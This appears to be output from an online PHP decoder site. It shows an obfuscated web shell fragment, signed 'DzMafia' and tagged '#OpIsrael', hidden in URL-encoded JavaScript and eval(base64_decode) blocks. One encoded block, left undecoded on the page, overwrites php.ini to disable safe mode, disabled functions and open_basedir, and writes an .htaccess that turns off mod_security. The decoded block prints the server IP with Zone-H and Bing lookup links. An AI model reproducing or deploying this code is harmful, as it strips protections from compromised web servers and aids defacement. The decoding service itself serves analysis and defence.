Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<Script Language='Javascript'> document.write(unescape('%09%09%09%09%09%09%09%09%09%09%09..
Decoded Output download
echo " <center> </center>";
$serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "Server IP = <font color=red>".gethostbyname($_SERVER["HTTP_HOST"])."
</font>[</span>
<a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing Search</a>][</span><a href='http://zone-h.com/archive/ip=".$serverIP."' target=\"_blank\">Zone-H Search</a>]<center>";
Did this file decode correctly?
Original Code
<Script Language='Javascript'>
document.write(unescape('%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%3C%74%64%20%76%61%6C%69%67%6E%3D%22%74%6F%70%22%20%62%67%63%6F%6C%6F%72%3D%22%23%31%35%31%35%31%35%22%20%73%74%79%6C%65%3D%22%77%69%64%74%68%3A%20%31%33%39%70%78%22%3E%3C%73%74%72%6F%6E%67%3E%4B%69%6C%6C%20%53%61%66%65%20%4D%6F%64%65%3C%2F%73%74%72%6F%6E%67%3E%3C%2F%74%64%3E%0A%09%09%09%3C%74%64%20%76%61%6C%69%67%6E%3D%22%74%6F%70%22%20%62%67%63%6F%6C%6F%72%3D%22%23%31%35%31%35%31%35%22%20%63%6F%6C%73%70%61%6E%3D%22%35%22%3E%0A%3C%73%74%72%6F%6E%67%3E%0A'));
</Script>
<?php eval(base64_decode("ZWNobyAiPHJpZ2h0PiI7CmVjaG8iPEZPUk0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRSRVFVRVNUX1VSSScgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+Cgk8cCBhbGlnbj0nY2VudGVyJz4KCTxJTlBVVCB0eXBlPSdzdWJtaXQnIG5hbWU9J0tpbGwnIHZhbHVlPSdpZiBTYWZlIE1vZGUgaXMgT24gQ2xpYyBIZXJlIFRvIEtpbGwgVGhlIFNhZmVNb2RlIFtpbmkucGhwXSBbcGhwLmluaV0gWy5odGFjY2Vzc10nIGlkPWlucHV0IHN0eWxlPSdmb250LXNpemU6IDEycHQ7IGZvbnQtd2VpZ2h0OiBib2xkOyBib3JkZXItc3R5bGU6IGluc2V0OyBib3JkZXItd2lkdGg6IDFweCc+PC9wPgo8L2Zvcm0+CiI7CmVjaG8gIjxyaWdodC8+IjsKaWYgIChlbXB0eSgkX1BPU1RbJ0tpbGwnXSApICkgewoJfUVMU0V7CgkkYWN0aW9uID0gJz9hY3Rpb249S2lsbCc7CmVjaG8gIjxodG1sPgo8YnI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSdwcmFnbWEnIGNvbnRlbnQ9J25vLWNhY2hlJz4KPC9oZWFkPjxib2R5PiI7CgokZnAgPSBmb3BlbigicGhwLmluaSIsIncrIik7CmZ3cml0ZSgkZnAsInNhZmVfbW9kZSA9IE9mZgpkaXNhYmxlX2Z1bmN0aW9ucyAgPSAgICBOT05FCm9wZW5fYmFzZWRpciA9IE9GRiAiKTsKZWNobyAiPGI+W1NhZmVNb2RlIERvbmVdIC4uIDopIFRoaXMgU2NyaXB0IElzIENvZGVkIEJ5IEFrcmFtIFN0ZWxsZSAoRHogTWFmaWEgVGVhbSk8L2I+IjsKZWNobyAoIjxicj4iKTsKCiRmcDIgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKZndyaXRlKCRmcDIsIgo8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CktpbGxGaWx0ZXJFbmdpbmUgT2ZmCktpbGxGaWx0ZXJTY2FuUE9TVCBPZmYKS2lsbEZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmCktpbGxGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYKPC9JZk1vZHVsZT4KIik7CgoKZWNobyAiPGI+W01vZF9TZWN1cml0eSBEb25lXTwvYj48YnI+IjsKCiAgICBlY2hvICI8Zm9udD48Y2VudGVyPjwvdGQ+PC90cj48dGFibGU+ICI7CgoJfQ==")); ?>
<Script Language='Javascript'>
document.write(unescape('%3C%2F%73%74%72%6F%6E%67%3E%09%0A%3C%2F%74%72%3E%0A%3C%2F%74%64%3E%0A%3C%74%72%3E%0A%0A%09%09%3C%74%72%3E%0A%09%09%09%3C%74%64%20%76%61%6C%69%67%6E%3D%22%74%6F%70%22%20%62%67%63%6F%6C%6F%72%3D%22%23%31%35%31%35%31%35%22%20%73%74%79%6C%65%3D%22%77%69%64%74%68%3A%20%31%33%39%70%78%22%3E%3C%73%74%72%6F%6E%67%3E%53%65%72%56%65%72%20%53%65%61%72%63%68%3C%2F%73%74%72%6F%6E%67%3E%3C%2F%74%64%3E%0A%09%09%09%3C%74%64%20%76%61%6C%69%67%6E%3D%22%74%6F%70%22%20%62%67%63%6F%6C%6F%72%3D%22%23%31%35%31%35%31%35%22%20%63%6F%6C%73%70%61%6E%3D%22%35%22%3E%0A%09%09%3C%73%74%72%6F%6E%67%3E%09'));
</Script>
<?php eval(base64_decode("ZWNobyAiIDxjZW50ZXI+IDwvY2VudGVyPiI7CiRzZXJ2ZXJJUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsKZWNobyAiU2VydmVyIElQID0gPGZvbnQgY29sb3I9cmVkPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiIKIDwvZm9udD5bPC9zcGFuPgogPGEgaHJlZj0naHR0cDovL2JpbmcuY29tL3NlYXJjaD9xPWlwOiIuJHNlcnZlcklQLiImZ289JmZvcm09UUJMSCZmaWx0PWFsbCcgdGFyZ2V0PVwiX2JsYW5rXCI+QmluZyBTZWFyY2g8L2E+XVs8L3NwYW4+PGEgaHJlZj0naHR0cDovL3pvbmUtaC5jb20vYXJjaGl2ZS9pcD0iLiRzZXJ2ZXJJUC4iJyB0YXJnZXQ9XCJfYmxhbmtcIj5ab25lLUggU2VhcmNoPC9hPl08Y2VudGVyPiI7")); ?>
<Script Language='Javascript'>
document.write(unescape('%3C%2F%73%74%72%6F%6E%67%3E%09%0A%3C%2F%74%72%3E%0A%3C%2F%74%64%3E%09%09%0A%09%09%09%09%09%09%09%09%3C%74%72%3E%0A%09%09%09%3C%74%64%20%76%61%6C%69%67%6E%3D%22%74%6F%70%22%20%62%67%63%6F%6C%6F%72%3D%22%23%31%35%31%35%31%35%22%20%63%6C%61%73%73%3D%22%73%74%79%6C%65%31%22%20%63%6F%6C%73%70%61%6E%3D%22%36%22%3E%3C%73%74%72%6F%6E%67%3E%23%4F%70%49%73%72%61%65%6C%20%2D%20%31%39%36%32%43%72%61%63%6B%65%72%20%76%33%2E%33%20%26%63%6F%70%79%20%44%7A%4D%61%66%69%61%20%32%30%31%35%20%45%78%70%65%63%74%20%55%73%3C%2F%73%74%72%6F%6E%67%3E%3C%2F%74%64%3E%0A%09%09%09%09%09%09%09%3C%2F%74%72%3E'));
</Script>
Function Calls
| base64_decode | 2 |
Stats
| MD5 | 7a744454bb13f2ce0e1be34f68d8ceeb |
| Eval Count | 2 |
| Decode Time | 99 ms |